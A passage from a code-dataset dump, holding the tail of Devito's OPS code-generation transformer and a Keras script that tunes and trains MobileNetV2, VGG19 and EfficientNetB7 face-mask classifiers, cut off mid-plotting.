node_factory)))\n\n ops_stencils_initializers, ops_stencils = generate_ops_stencils(accesses)\n\n to_remove = [f.name for f in FindSymbols('defines').visit(List(body=expressions))]\n\n parameters = FindSymbols('symbolics').visit(List(body=ops_expressions))\n parameters = [\n p for p in parameters\n if p.name != 'OPS_ACC_size' and p.name not in to_remove\n ]\n parameters = sorted(parameters, key=lambda i: (i.is_Constant, i.name))\n\n arguments = FindSymbols('symbolics').visit(List(body=expressions))\n arguments = [a for a in arguments if a.name not in to_remove]\n arguments = sorted(arguments, key=lambda i: (i.is_Constant, i.name))\n\n ops_expressions = [\n Expression(\n fix_ops_acc(e.expr, [p.name for p in parameters])\n ) for e in ops_expressions\n ]\n\n callable_kernel = Callable(\n namespace['ops_kernel'](count),\n ops_expressions,\n \"void\",\n parameters\n )\n\n dat_declarations = []\n argname_to_dat = {}\n\n for a in arguments:\n if a.is_Constant:\n continue\n\n dat_dec, dat_sym = to_ops_dat(a, block)\n dat_declarations.extend(dat_dec)\n\n argname_to_dat.update(dat_sym)\n\n par_loop_range_arr = SymbolicArray(\n name=namespace['ops_range'](count),\n dimensions=(len(it_range) * 2,),\n dtype=np.int32\n )\n range_vals = []\n for mn, mx in it_range:\n range_vals.append(mn)\n range_vals.append(mx)\n par_loop_range_init = Expression(ClusterizedEq(Eq(\n par_loop_range_arr,\n ListInitializer(range_vals)\n )))\n\n ops_args = get_ops_args(\n [p for p in parameters], ops_stencils, argname_to_dat\n )\n\n par_loop = Call(\"ops_par_loop\", [\n FunctionPointer(callable_kernel.name),\n String(callable_kernel.name),\n block,\n it_dims,\n par_loop_range_arr,\n *ops_args\n ])\n\n return (\n callable_kernel,\n [par_loop_range_init, block_init] +\n ops_stencils_initializers + dat_declarations +\n [Call(\"ops_partition\", [String(\"\")])],\n List(body=[par_loop]),\n it_dims\n )\n\n\ndef get_ops_args(args, stencils, name_to_dat):\n ops_args = []\n\n for arg in args:\n if arg.is_Constant:\n ops_args.append(\n Call(\n \"ops_arg_gbl\",\n [\n Byref(Constant(name=arg.name[1:])),\n 1,\n String(dtype_to_cstr(arg.dtype)),\n OPS_READ\n ], False\n )\n )\n else:\n ops_args.append(\n Call(\n \"ops_arg_dat\",\n [\n name_to_dat[arg.name],\n 1,\n stencils[arg.name],\n String(dtype_to_cstr(arg.dtype)),\n OPS_WRITE if arg.is_Write else OPS_READ\n ], False)\n )\n\n return ops_args\n\n\ndef to_ops_dat(function, block):\n ndim = function.ndim - (1 if function.is_TimeFunction else 0)\n dim = SymbolicArray(\n name=\"%s_dim\" % function.name,\n dimensions=(ndim,),\n dtype=np.int32\n )\n\n base = SymbolicArray(\n name=\"%s_base\" % function.name,\n dimensions=(ndim,),\n dtype=np.int32\n )\n\n d_p = SymbolicArray(\n name=\"%s_d_p\" % function.name,\n dimensions=(ndim,),\n dtype=np.int32\n )\n\n d_m = SymbolicArray(\n name=\"%s_d_m\" % function.name,\n dimensions=(ndim,),\n dtype=np.int32\n )\n\n res = []\n dats = {}\n ops_decl_dat_call = []\n\n if function.is_TimeFunction:\n time_pos = function._time_position\n time_index = function.indices[time_pos]\n time_dims = function.shape[time_pos]\n\n dim_shape = function.shape[:time_pos] + function.shape[time_pos + 1:]\n padding = function.padding[:time_pos] + function.padding[time_pos + 1:]\n halo = function.halo[:time_pos] + function.halo[time_pos + 1:]\n base_val = [0 for i in range(ndim)]\n d_p_val = tuple([p[0] + h[0] for p, h in zip(padding, halo)])\n d_m_val = tuple([-(p[1] + h[1]) for p, h in zip(padding, halo)])\n\n ops_dat_array = SymbolicArray(\n name=\"%s_dat\" % function.name,\n dimensions=[time_dims],\n dtype=\"ops_dat\",\n )\n\n ops_decl_dat_call.append(Element(cgen.Statement(\n \"%s %s[%s]\" % (\n ops_dat_array.dtype,\n ops_dat_array.name,\n time_dims\n )\n )))\n\n for i in range(time_dims):\n access = FunctionTimeAccess(function, i)\n ops_dat_access = ArrayAccess(ops_dat_array, i)\n call = Call(\n \"ops_decl_dat\",\n [\n block,\n 1,\n dim,\n base,\n d_m,\n d_p,\n access,\n String(function._C_typedata),\n String(\"%s%s%s\" % (function.name, time_index, i))\n ],\n False\n )\n dats[\"%s%s%s\" % (function.name, time_index, i)] = ArrayAccess(\n ops_dat_array,\n Symbol(\"%s%s\" % (time_index, i))\n )\n ops_decl_dat_call.append(\n Element(cgen.Assign(ops_dat_access, call))\n )\n else:\n ops_dat = OPSDat(\"%s_dat\" % function.name)\n dats[function.name] = ops_dat\n\n d_p_val = tuple([p[0] + h[0] for p, h in zip(function.padding, function.halo)])\n d_m_val = tuple([-(p[1] + h[1]) for p, h in zip(function.padding, function.halo)])\n dim_shape = function.shape\n base_val = [0 for i in function.shape]\n\n ops_decl_dat_call.append(Element(cgen.Initializer(ops_dat, Call(\n \"ops_decl_dat\",\n [\n block,\n 1,\n dim,\n base,\n d_m,\n d_p,\n FunctionTimeAccess(function, 0),\n String(function._C_typedata),\n String(function.name)\n ],\n False\n ))))\n\n res.append(Expression(ClusterizedEq(Eq(dim, ListInitializer(dim_shape)))))\n res.append(Expression(ClusterizedEq(Eq(base, ListInitializer(base_val)))))\n res.append(Expression(ClusterizedEq(Eq(d_p, ListInitializer(d_p_val)))))\n res.append(Expression(ClusterizedEq(Eq(d_m, ListInitializer(d_m_val)))))\n res.extend(ops_decl_dat_call)\n\n return res, dats\n\n\ndef make_ops_ast(expr, nfops, is_Write=False):\n \"\"\"\n Transform a devito expression into an OPS expression.\n Only the interested nodes are rebuilt.\n\n Parameters\n ----------\n expr : :class:`Node`\n Initial tree node.\n nfops : :class:`OPSNodeFactory`\n Generate OPS specific nodes.\n Returns\n -------\n :class:`Node`\n Expression alredy translated to OPS syntax.\n \"\"\"\n\n if expr.is_Symbol:\n if expr.is_Constant:\n return nfops.new_ops_gbl(expr)\n return expr\n elif expr.is_Number:\n return expr\n elif expr.is_Indexed:\n return nfops.new_ops_arg(expr, is_Write)\n elif expr.is_Equality:\n return expr.func(\n make_ops_ast(expr.lhs, nfops, True),\n make_ops_ast(expr.rhs, nfops)\n )\n else:\n return expr.func(*[make_ops_ast(i, nfops) for i in expr.args])\n\n\ndef fix_ops_acc(expr, args):\n if expr.is_Symbol or expr.is_Number:\n return expr\n if expr.is_Indexed:\n return Indexed(\n expr.base,\n Macro('OPS_ACC%d(%s)' % (args.index(expr.name), expr.indices[0].name))\n )\n else:\n for i in expr.args:\n return expr.func(*[fix_ops_acc(i, args) for i in expr.args])\n","sub_path":"devito/ops/transformer.py","file_name":"transformer.py","file_ext":"py","file_size_in_byte":9503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"461015341","text":"# -*- coding: utf-8 -*-\r\n##########################################################################################\r\n# import the necessary packages\r\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\r\nfrom tensorflow.keras.applications import MobileNetV2\r\nfrom tensorflow.keras.applications import VGG19\r\nfrom tensorflow.keras.applications import EfficientNetB7\r\nfrom tensorflow.keras.layers import AveragePooling2D\r\nfrom tensorflow.keras.layers import Dropout\r\nfrom tensorflow.keras.layers import Flatten\r\nfrom tensorflow.keras.layers import Dense\r\nfrom tensorflow.keras.layers import Input\r\nfrom tensorflow.keras.models import Model\r\nfrom tensorflow.keras.optimizers import Adam\r\nfrom tensorflow.keras.applications.mobilenet_v2 import preprocess_input as mv2_preprocess\r\nfrom tensorflow.keras.applications.vgg19 import preprocess_input as vgg19_preprocess\r\nfrom tensorflow.keras.applications.efficientnet import preprocess_input as effnet_preprocess\r\nfrom tensorflow.keras.preprocessing.image import img_to_array\r\nfrom tensorflow.keras.preprocessing.image import load_img\r\nfrom tensorflow.keras.utils import to_categorical\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import classification_report, confusion_matrix\r\nfrom imutils import paths\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import gridspec\r\nimport numpy as np\r\nimport pandas as pd\r\nimport os\r\nimport argparse\r\nimport seaborn as sns\r\n\r\n# Hyper-parameter tuning\r\nfrom tensorflow import keras\r\nfrom tensorflow.keras import layers\r\nfrom kerastuner.tuners import RandomSearch\r\nfrom tensorflow.keras.layers import Dense, Activation, Flatten, Dropout\r\nfrom tensorflow.keras.layers import Conv2D, AveragePooling2D, MaxPooling2D\r\nfrom tensorflow.keras.callbacks import ModelCheckpoint, EarlyStopping\r\nfrom tensorflow.keras.models import load_model\r\nfrom kerastuner.engine.hyperparameters import HyperParameters\r\n##########################################################################################\r\n\r\n# construct the argument parser and parse the arguments\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('-d', '--dataset', required=True, help=\"path to input dataset\")\r\nparser.add_argument('-o', '--output', required=True, help=\"path to output each epoch\")\r\nparser.add_argument(\"-p1\", \"--confusion_matrix\", type=str, default=\"confusion_matrix.png\", help=\"path to output loss plot\")\r\nparser.add_argument(\"-p2\", \"--accuracy_loss_plot\", type=str, default=\"accuracy_loss_plot.png\", help=\"path to output accuracy plot\")\r\nparser.add_argument(\"-vgg19\", \"--model1\", type=str, default=\"vgg19_mask_detection.hdf5\", help=\"path to output face mask detector VGG19 model\")\r\nparser.add_argument(\"-mv2\", \"--model2\", type=str, default=\"mv2_mask_detection.hdf5\", help=\"path to output face mask detector MobileNetV2 model\")\r\nparser.add_argument(\"-effb7\", \"--model3\", type=str, default=\"effb7_mask_detection.hdf5\", help=\"path to output face mask detector MobileNetV2 model\")\r\n\r\nargs = vars(parser.parse_args())\r\n###########################################################################################\r\n# Provide the path of all the images and the categories it needs to be categorized\r\ndata_directory = args[\"dataset\"]\r\n#data_directory = list(paths.list_images(args[\"dataset\"]))\r\noutput_directory = args[\"output\"]\r\n#output_directory = list(paths.list_images(args[\"output\"]))\r\n# Gets the folder names inside the given directory\r\ncategories = os.listdir(data_directory)\r\n# Store the categories as labels with 0,1,2\r\nlabels = [i for i in range(len(categories))]\r\n# create a dictonary variable and storing category and label information as key-value pair\r\n#label_dict = dict(zip(categories, labels))\r\nlabel_dict = {}\r\nfor c in categories:\r\n if c == \"No Mask\":\r\n label_dict[c] = 0\r\n elif c == \"Wrong Mask\":\r\n label_dict[c] = 1 \r\n elif c == \"Mask\":\r\n label_dict[c] = 2\r\n# Store number of categories based on number of labels\r\nnoc = len(labels)\r\nprint (\"Categories: \", categories)\r\nprint (\"Labels: \", labels )\r\nprint (\"Category and its Label information: \", label_dict)\r\n###########################################################################################\r\n\r\n# Converting the image into array and normalizing the image using preprocess block\r\ndef preprocessing_image(preprocess_type, directory, category):\r\n image_size = 224\r\n mv2_data = []\r\n mv2_labels = []\r\n vgg19_data = []\r\n vgg19_labels = []\r\n effb7_data = []\r\n effb7_labels = []\r\n print(\"[INFO] loading images...\")\r\n if preprocess_type.strip().upper() == \"MV2\":\r\n for category in categories:\r\n path = os.path.join(data_directory, category)\r\n # load the input image (224*224) and preprocess it\r\n for img in os.listdir(path):\r\n img_path = os.path.join(path, img)\r\n image = load_img(img_path, target_size=(image_size, image_size))\r\n image = img_to_array(image) # converted to (224,224,3) dimensions\r\n #print(\"image: \", image)\r\n #print(\"image shape: \", image.shape)\r\n image = mv2_preprocess(image) # Resizing scaled to -1 to 1 \r\n #print(\"preprocessed image: \", image)\r\n #print(\"preprocessed image shape: \", image.shape) \r\n # update the data and labels lists, respectively\r\n mv2_data.append(image)\r\n mv2_labels.append(label_dict[category])\r\n # Saving the image data and target data using numpy for backup\r\n np.save(os.path.join(output_directory, \"mv2_data\"), mv2_data)\r\n np.save(os.path.join(output_directory, \"mv2_labels\"), mv2_labels)\r\n elif preprocess_type.strip().upper() == \"VGG19\":\r\n for category in categories:\r\n path = os.path.join(data_directory, category)\r\n # load the input image (224*224) and preprocess it\r\n for img in os.listdir(path):\r\n img_path = os.path.join(path, img)\r\n image = load_img(img_path, target_size=(image_size, image_size))\r\n image = img_to_array(image) # converted to (224,224,3) dimensions\r\n #print(\"image: \", image)\r\n #print(\"image shape: \", image.shape)\r\n image = vgg19_preprocess(image) # Resizing scaled to -1 to 1 \r\n #print(\"preprocessed image: \", image)\r\n #print(\"preprocessed image shape: \", image.shape) \r\n # update the data and labels lists, respectively\r\n vgg19_data.append(image)\r\n vgg19_labels.append(label_dict[category])\r\n # Saving the image data and target data using numpy for backup\r\n np.save(os.path.join(output_directory, \"vgg19_data\"), vgg19_data)\r\n np.save(os.path.join(output_directory, \"vgg19_labels\"), vgg19_labels)\r\n elif preprocess_type.strip().upper() == \"EFFB7\":\r\n for category in categories:\r\n path = os.path.join(data_directory, category)\r\n # load the input image (224*224) and preprocess it\r\n for img in os.listdir(path):\r\n img_path = os.path.join(path, img)\r\n image = load_img(img_path, target_size=(image_size, image_size))\r\n image = img_to_array(image) # converted to (224,224,3) dimensions\r\n #print(\"image: \", image)\r\n #print(\"image shape: \", image.shape)\r\n image = effnet_preprocess(image) # Resizing scaled to -1 to 1 \r\n #print(\"preprocessed image: \", image)\r\n #print(\"preprocessed image shape: \", image.shape) \r\n # update the data and labels lists, respectively\r\n effb7_data.append(image)\r\n effb7_labels.append(label_dict[category])\r\n # Saving the image data and target data using numpy for backup\r\n np.save(os.path.join(output_directory, \"effb7_data\"), effb7_data)\r\n np.save(os.path.join(output_directory, \"effb7_labels\"), effb7_labels)\r\n \r\n print(\"Images loaded and saved Successfully \")\r\n########################################################################################### \r\n\r\n# preprocessing the images using Mobilenetv2 and save it\r\npreprocessing_image(\"MV2\", data_directory, categories)\r\n\r\n# loading the saved numpy arrays of mobilenetv2 preprocessed images\r\nmv2_data = np.load(os.path.join(output_directory, \"mv2_data.npy\"))\r\nmv2_labels = np.load(os.path.join(output_directory, \"mv2_labels.npy\"))\r\n########################################################################################\r\n\r\n# Bar plot to see the count of images in various categories\r\nunique, counts = np.unique(mv2_labels, return_counts=True)\r\ncategory_count = dict(zip(unique, counts))\r\ntemp_df = pd.DataFrame({'Labels': list(category_count.keys()), 'Count': list(category_count.values())})\r\n#temp_df['Labels'] = pd.DataFrame(list(category_count.keys()))\r\n#temp_df['Count'] = pd.DataFrame(list(category_count.values()))\r\ntemp_df.loc[temp_df['Labels'] == 0, 'Categories'] = list(label_dict.keys())[list(label_dict.values()).index(0)]\r\ntemp_df.loc[temp_df['Labels'] == 1, 'Categories'] = list(label_dict.keys())[list(label_dict.values()).index(1)]\r\ntemp_df.loc[temp_df['Labels'] == 2, 'Categories'] = list(label_dict.keys())[list(label_dict.values()).index(2)]\r\nplt.barh(temp_df.Categories, temp_df.Count, color='rgbkymc')\r\nplt.ylabel(\"Various Categories\")\r\nplt.xlabel(\"Count\")\r\nplt.title(\"Bar plot to see the count of images based on categories\")\r\nfor index, value in enumerate(temp_df.Count):\r\n plt.text(value, index, str(value))\r\nplt.show()\r\n##########################################################################################\r\n\r\n# Print some of the random images with labelled data\r\n# Use subplots to show images with the categories it belongs to\r\nnum_rows, num_cols = noc, noc+3\r\nnrow = 10\r\nncol = 3\r\n\r\nf, ax = plt.subplots(num_rows, num_cols, figsize=(12,7))\r\nfor r in range(num_rows):\r\n temp = np.where(mv2_labels==r)[0][0]\r\n print(temp)\r\n for c in range(num_cols):\r\n image_index = temp + c\r\n #print(image_index)\r\n ax[r,c].axis(\"off\")\r\n ax[r,c].imshow( mv2_data[image_index])\r\n ax[r,c].set_title(list(label_dict.keys())[list(label_dict.values()).index(mv2_labels[image_index])])\r\n plt.subplots_adjust(wspace=None, hspace=None)\r\nf.suptitle(\"Images after pre processed using Mobilenet V2\")\r\nplt.show()\r\nplt.close()\r\n############################################################################################\r\n\r\n# convert output array of labeled data(from 0 to nb_classes - 1) to one-hot vector\r\nmv2_labels = to_categorical(mv2_labels)\r\nprint (\"Shape of mv2 data: \", mv2_data.shape)\r\nprint (\"Shape of mv2 labels: \", mv2_labels.shape)\r\n###########################################################################################\r\n\r\n# construct the training image generator for data augmentation\r\naug = ImageDataGenerator(\r\n\trotation_range=10,\r\n\tzoom_range=0.05,\r\n\twidth_shift_range=0.1,\r\n\theight_shift_range=0.1,\r\n\tshear_range=0.1,\r\n\thorizontal_flip=True,\r\n\tfill_mode=\"nearest\")\r\n#############################################################################################\r\n\r\n# Build Hyper Tunning model for MobileNetV2\r\ndef mv2_build_model(hp):\r\n baseModel = MobileNetV2(weights=\"imagenet\", include_top=False,input_tensor=Input(shape=(224, 224, 3)))\r\n headModel = baseModel.output\r\n headModel = keras.layers.AveragePooling2D(pool_size=(7, 7))(headModel)\r\n headModel = keras.layers.Flatten()(headModel)\r\n headModel = keras.layers.Dense(units = hp.Int(name = 'dense_units', min_value=64, max_value=256, step=16), activation = 'relu')(headModel)\r\n headModel = keras.layers.Dropout(hp.Float(name = 'dropout', min_value = 0.1, max_value = 0.5, step=0.1, default=0.5))(headModel)\r\n headModel = keras.layers.Dense(3, activation = 'softmax')(headModel)\r\n model = Model(inputs=baseModel.input, outputs=headModel)\r\n # loop over all layers in the base model and freeze them so they will\r\n # *not* be updated during the first training process\r\n for layer in baseModel.layers:\r\n layer.trainable = False\r\n model.compile(optimizer = keras.optimizers.Adam(hp.Choice('learning_rate', values = [1e-2,5e-3,1e-3,5e-4,1e-4])),\r\n loss = 'categorical_crossentropy',\r\n metrics = ['accuracy'])\r\n return model\r\n\r\n########################################################################################\r\n# Stratified Split the data into 20% Test and 80% Traininng data\r\nX_train,X_test,y_train, y_test = train_test_split(mv2_data, mv2_labels, test_size = 0.2, stratify = mv2_labels, random_state = 42)\r\n\r\nprint(\"MobilenetV2 Train data shape: \",X_train.shape)\r\nprint(\"MobilenetV2 Train label shape: \",y_train.shape)\r\nprint(\"MobilenetV2 Test data shape: \",X_test.shape)\r\nprint(\"MobilenetV2 Test label shape: \",y_test.shape)\r\n\r\nnp.save(os.path.join(output_directory, \"X_test\"), X_test)\r\nnp.save(os.path.join(output_directory, \"y_test\"), y_test)\r\n##########################################################################################\r\n# delete data and label variables to release ram\r\ndel mv2_data\r\ndel mv2_labels\r\n##########################################################################################\r\n# Hyperparameter tuning\r\nprint (\"Search for best model fit for mobilenetv2...\")\r\nmv2_tuner_search = RandomSearch(mv2_build_model, objective = 'val_accuracy', max_trials =30, directory = output_directory, project_name = \"MobileNetV2\")\r\nmv2_tuner_search.search(X_train, y_train, epochs = 3, validation_split = 0.2)\r\n\r\n# Show a summary of the hyper parameter search output for 30 combination parameters\r\nmv2_tuner_search.results_summary()\r\nmv2_model = mv2_tuner_search.get_best_models(num_models=1)[0]\r\nmv2_model.summary()\r\n#########################################################################################\r\n# Set callback functions to early stop training and save the best model so far\r\ncallbacks = [EarlyStopping(monitor='val_loss', patience=10),\r\n ModelCheckpoint(filepath=args[\"model2\"], monitor='val_loss', save_best_only=True)]\r\n\r\n# Train neural network\r\nmv2_history = mv2_model.fit(aug.flow(X_train, y_train, batch_size=64),\r\n epochs=30, # Number of epochs\r\n callbacks=callbacks, # Early stopping\r\n verbose=2, # Print description after each epoch\r\n validation_data=(X_test, y_test)) # Data for evaluation\r\n\r\nnp.save(os.path.join(output_directory, 'mv2_history.npy'),mv2_history.history)\r\n# convert the history.history dict to a pandas DataFrame: \r\nhist_df = pd.DataFrame(mv2_history.history) \r\n# or save to csv: \r\nhist_csv_file = os.path.join(output_directory, 'mv2_history.csv')\r\nwith open(hist_csv_file, mode='w') as f:\r\n hist_df.to_csv(f)\r\n#############################################################################################\r\n# preprocessing the images using VGG19 and save it\r\npreprocessing_image(\"VGG19\", data_directory, categories)\r\n\r\n# loading the saved numpy arrays of vgg19 preprocessed images\r\nvgg19_data = np.load(os.path.join(output_directory, \"vgg19_data.npy\"))\r\nvgg19_labels = np.load(os.path.join(output_directory, \"vgg19_labels.npy\"))\r\n\r\n# Check the data shape and labels after preprocessing of vgg19 image data\r\nprint(\"first 10 target values: \", vgg19_labels[1:10])\r\nprint(\"shape of data\", vgg19_data[0].shape)\r\nprint(\"first image data information in array\", vgg19_data[0])\r\n\r\n# convert output array of labeled data(from 0 to nb_classes - 1) to one-hot vector\r\nvgg19_labels = to_categorical(vgg19_labels)\r\nprint (\"Shape of vgg19 data: \", vgg19_data.shape)\r\nprint (\"Shape of vgg19 labels: \", vgg19_labels.shape)\r\n###############################################################################################\r\n\r\n# Build Hyper Tunning model for VGG19\r\ndef vgg19_build_model(hp):\r\n baseModel = VGG19(weights=\"imagenet\", include_top=False,input_tensor=Input(shape=(224, 224, 3)))\r\n headModel = baseModel.output\r\n headModel = keras.layers.MaxPooling2D(pool_size=(5, 5))(headModel)\r\n headModel = keras.layers.Flatten()(headModel)\r\n headModel = keras.layers.Dense(units = hp.Int(name = 'dense_units', min_value=64, max_value=256, step=16), activation = 'relu')(headModel)\r\n headModel = keras.layers.Dropout(hp.Float(name = 'dropout', min_value = 0.1, max_value = 0.5, step=0.1, default=0.5))(headModel)\r\n headModel = keras.layers.Dense(3, activation = 'softmax')(headModel)\r\n model = Model(inputs=baseModel.input, outputs=headModel)\r\n # loop over all layers in the base model and freeze them so they will\r\n # *not* be updated during the first training process\r\n for layer in baseModel.layers:\r\n layer.trainable = False\r\n model.compile(optimizer = keras.optimizers.Adam(hp.Choice('learning_rate', values = [1e-2,5e-3,1e-3,5e-4,1e-4])),\r\n loss = 'categorical_crossentropy',\r\n metrics = ['accuracy'])\r\n return model\r\n#################################################################################################\r\n# Stratified Split the data into 20% Test and 80% Traininng data\r\nX2_train,X2_test,y2_train, y2_test = train_test_split(vgg19_data, vgg19_labels, test_size = 0.2, stratify = vgg19_labels, random_state = 42)\r\n\r\nprint(\"VGGNET19 Train data shape: \",X2_train.shape)\r\nprint(\"VGGNET19 Train label shape: \",y2_train.shape)\r\nprint(\"VGGNET19 Test data shape: \",X2_test.shape)\r\nprint(\"VGGNET19 Test label shape: \",y2_test.shape)\r\n\r\nnp.save(os.path.join(output_directory, \"X2_test\"), X2_test)\r\nnp.save(os.path.join(output_directory, \"y2_test\"), y2_test)\r\n##############################################################################################\r\n# delete data and label variables to release ram\r\ndel vgg19_data\r\ndel vgg19_labels\r\n###########################################################################################\r\n# Tuuning\r\nprint (\"Search for best model fit for vgg19...\")\r\nvgg19_tuner_search = RandomSearch(vgg19_build_model, objective = 'val_accuracy', max_trials =30, directory = output_directory, project_name = \"VGGNET19\")\r\nvgg19_tuner_search.search(X2_train, y2_train, epochs = 3, validation_split = 0.2)\r\n# Show a summary of the hyper parameter search output for 100 combination parameters\r\nvgg19_tuner_search.results_summary()\r\nvgg19_model = vgg19_tuner_search.get_best_models(num_models=1)[0]\r\nvgg19_model.summary()\r\n\r\n# Set callback functions to early stop training and save the best model so far\r\ncallbacks = [EarlyStopping(monitor='val_loss', patience=10),\r\n ModelCheckpoint(filepath=args[\"model1\"], monitor='val_loss', save_best_only=True)]\r\n###########################################################################################\r\n# Train neural network\r\nvgg19_history = vgg19_model.fit(aug.flow(X2_train, y2_train, batch_size=64),\r\n epochs=30, # Number of epochs\r\n callbacks=callbacks, # Early stopping\r\n verbose=2, # Print description after each epoch\r\n validation_data=(X2_test, y2_test)) # Data for evaluation\r\n\r\n\r\nnp.save(os.path.join(output_directory, 'vgg19_history.npy'),vgg19_history.history)\r\n# convert the history.history dict to a pandas DataFrame: \r\nhist_df = pd.DataFrame(vgg19_history.history) \r\n# or save to csv: \r\nhist_csv_file = os.path.join(output_directory, 'vgg19_history.csv')\r\nwith open(hist_csv_file, mode='w') as f:\r\n hist_df.to_csv(f)\r\n\r\n############################################################################################\r\n# preprocessing the images using EfficientNet and save it\r\npreprocessing_image(\"EFFB7\", data_directory, categories) \r\n \r\n# loading the saved numpy arrays of EfficientNet preprocessed images\r\neffb7_data = np.load(os.path.join(output_directory, \"effb7_data.npy\"))\r\neffb7_labels = np.load(os.path.join(output_directory, \"effb7_labels.npy\"))\r\n\r\n# Check the data shape and labels after preprocessing of efficentnet b7 image data\r\nprint(\"first 10 target values: \", effb7_labels[1:10])\r\nprint(\"shape of data\", effb7_data[0].shape)\r\nprint(\"first image data information in array\", effb7_data[0])\r\n\r\n# convert output array of labeled data(from 0 to nb_classes - 1) to one-hot vector\r\neffb7_labels = to_categorical(effb7_labels)\r\nprint (\"Shape of efficient net data: \", effb7_data.shape)\r\nprint (\"Shape of efficient net labels: \", effb7_labels.shape)\r\n#######################################################################################\r\n\r\ndef effb7_build_model(hp):\r\n baseModel = EfficientNetB7(weights=\"imagenet\", include_top=False,input_tensor=Input(shape=(224, 224, 3)))\r\n headModel = baseModel.output\r\n headModel = keras.layers.GlobalMaxPooling2D()(headModel)\r\n #keras.layers.MaxPooling2D(pool_size=(5, 5))(headModel)\r\n headModel = keras.layers.Flatten()(headModel)\r\n headModel = keras.layers.Dense(units = hp.Int(name = 'dense_units', min_value=64, max_value=1024, step=64), activation = 'relu')(headModel)\r\n headModel = keras.layers.Dropout(hp.Float(name = 'dropout', min_value = 0.4, max_value = 0.8, step=0.1, default=0.5))(headModel)\r\n headModel = keras.layers.Dense(3, activation = 'softmax')(headModel)\r\n model = Model(inputs=baseModel.input, outputs=headModel)\r\n # loop over all layers in the base model and freeze them so they will\r\n # *not* be updated during the first training process\r\n for layer in baseModel.layers:\r\n layer.trainable = False\r\n model.compile(optimizer = keras.optimizers.Adam(hp.Choice('learning_rate', values = [1e-2,5e-3,1e-3,5e-4,1e-4])),\r\n loss = 'categorical_crossentropy',\r\n metrics = ['accuracy'])\r\n return model\r\n##########################################################################################\r\n\r\n# Stratified Split the data into 20% Test and 80% Traininng data for EFFB7 model\r\nX3_train,X3_test,y3_train, y3_test = train_test_split(effb7_data, effb7_labels, test_size = 0.2, stratify = effb7_labels, random_state = 42)\r\n\r\nprint(\"efficient net Train data shape: \",X3_train.shape)\r\nprint(\"efficient net Train label shape: \",y3_train.shape)\r\nprint(\"efficient net Test data shape: \",X3_test.shape)\r\nprint(\"efficient net Test label shape: \",y3_test.shape)\r\n\r\nnp.save(os.path.join(output_directory, \"X3_test\"), X3_test)\r\nnp.save(os.path.join(output_directory, \"y3_test\"), y3_test)\r\n\r\n##############################################################################################\r\n# delete data and label variables to release ram\r\ndel effb7_data\r\ndel effb7_labels\r\n\r\n#######################################################################################\r\n#Tuning\r\nprint (\"Search for best model fit for Effb7...\")\r\neffb7_tuner_search = RandomSearch(effb7_build_model, objective = 'val_accuracy', max_trials =30, directory = output_directory, project_name = \"EfficientNet\")\r\neffb7_tuner_search.search(X3_train, y3_train, epochs = 3, validation_split = 0.2)\r\n\r\n# Show a summary of the hyper parameter search output for 30 combination parameters\r\neffb7_tuner_search.results_summary()\r\n\r\n# Show the best parameters choosen model\r\neffb7_model = effb7_tuner_search.get_best_models(num_models=1)[0]\r\neffb7_model.summary()\r\n\r\n# Set callback functions to early stop training and save the best model so far\r\ncallbacks = [EarlyStopping(monitor='val_loss', patience=10),\r\n ModelCheckpoint(filepath=args[\"model3\"], monitor='val_loss', save_best_only=True)]\r\n########################################################################################################################################\r\n# Train neural network with best model for 30 epochs\r\neffb7_history = effb7_model.fit(aug.flow(X3_train, y3_train, batch_size=64),\r\n epochs=30, # Number of epochs\r\n callbacks=callbacks, # Early stopping\r\n verbose=2, # Print description after each epoch\r\n validation_data=(X3_test, y3_test)) # Data for evaluation\r\n\r\n\r\nnp.save(os.path.join(output_directory, 'effb7_history.npy'),effb7_history.history)\r\n# convert the history.history dict to a pandas DataFrame: \r\nhist_df = pd.DataFrame(effb7_history.history) \r\n# or save to csv: \r\nhist_csv_file = os.path.join(output_directory, 'effb7_history.csv')\r\nwith open(hist_csv_file, mode='w') as f:\r\n hist_df.to_csv(f)\r\n###############################################################################\r\n# Plot the loss and accuracy for both VGG19 and MobileNetV2 models\r\nmv2_history_csv = pd.read_csv(os.path.join(output_directory, 'mv2_history.csv'))\r\nvgg19_history_csv = pd.read_csv(os.path.join(output_directory, 'vgg19_history.csv'))\r\neffb7_history_csv = pd.read_csv(os.path.join(output_directory, 'effb7_history.csv'))\r\n#mv2_history_csv.rename(columns={ mv2_history_csv.columns[1]: \"epoch\" })\r\n#mv2_history_csv.rename({'Unnamed: 0':'epoch'}, axis='columns')\r\nfig = plt.figure(figsize = (20,20))\r\nax1 = fig.add_subplot(2, 3, 1) # row, column, position\r\nax2 = fig.add_subplot(2, 3, 2) # row, column, position\r\nax3 = fig.add_subplot(2, 3, 3) # row, column, position\r\nax4 = fig.add_subplot(2, 3, 4) # row, column, position\r\nax5 = fig.add_subplot(2, 3, 5) # row, column, position\r\nax6 = fig.add_subplot(2, 3, 6) # row, column, position\r\n\r\nmv2_history_csv.rename( columns={'Unnamed: 0':'epoch'}, inplace=True)\r\nvgg19_history_csv.rename( columns={'Unnamed: 0':'epoch'}, inplace=True)\r\neffb7_history_csv.rename( columns={'Unnamed: 0':'epoch'}, inplace=True)\r\nvgg19_history_csv.plot(x = \"epoch\", y=['loss','val_loss'], ax=ax1, title = 'Training vs Val loss for VGG19 model')\r\nax1.set_xlabel(\"epoch\")\r\nax1.set_ylabel(\"loss value\")\r\nax1.set_ylim(min(vgg19_history_csv.loss.min(), vgg19_history_csv.val_loss.min(), mv2_history_csv.loss.min(), mv2_history_csv.val_loss.min(),effb7_history_csv.loss.min(), effb7_history_csv.val_loss.min()),max(vgg19_history_csv.loss.max(), vgg19_history_csv.val_loss.max(), mv2_history_csv.loss.max(), mv2_history_csv.val_loss.max(), effb7_history_csv.loss.max(), effb7_history_csv.val_loss.max()))\r\n\r\nmv2_history_csv.plot(x = \"epoch\", y=['loss','val_loss'], ax=ax2, title = 'Training vs Val loss for MobileNetV2 model')\r\nax2.set_xlabel(\"epoch\")\r\nax2.set_ylabel(\"loss value\")\r\nax2.set_ylim(min(vgg19_history_csv.loss.min(), vgg19_history_csv.val_loss.min(), mv2_history_csv.loss.min(), mv2_history_csv.val_loss.min(),effb7_history_csv.loss.min(), 